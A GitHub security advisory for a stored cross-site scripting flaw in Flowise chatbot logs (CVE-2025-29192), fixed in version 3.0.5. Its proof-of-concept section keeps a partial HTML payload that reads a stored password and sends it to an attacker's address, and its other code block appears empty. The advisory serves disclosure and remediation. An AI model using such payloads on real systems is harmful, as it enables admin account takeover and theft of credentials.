GitHub Advisoryadvisory · npm
GHSA-7r4h-vmj9-wg42 Flowise Stored XSS vulnerability through logs in chatbot
MEDIUM
Official page ↗
- Aliases
- CVE-2025-29192
- Ecosystem
- npm
- Packages
- flowise
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2025-10-03
Affected packages
• npm flowise: < 3.0.5 → fixed in 3.0.5
Description
Description
In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting.
PoC
```html
```
If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot.
```html
?passwd=' + encodeURIComponent(localStorage.getItem('password'));" />
```
So when an admin clicks the img that generated by above html code, it sends a request, including credentials, to the attacker's IP. If attacker steal admin’s token, attacker can login as the admin in the apps.
Poc Video
poc
Impact
An attacker could hijack an admin account in published chatbot. This can allow attacker to view chat logs of other users and API keys.
Related
Alias · CVE (1)
- CVE-2025-29192 Flowise before 3.0.5 allows XSS via a FORM element and an INPUT element when an admin views the chat log. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness
References
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7r4h-vmj9-wg42 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-29192 advisory
- https://github.com/FlowiseAI/Flowise/pull/4905 web
- https://github.com/FlowiseAI/Flowise/commit/9a06a85a8ddcbaeca1342827a5fea9087a587d97 web
- https://github.com/FlowiseAI/Flowise package
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5 web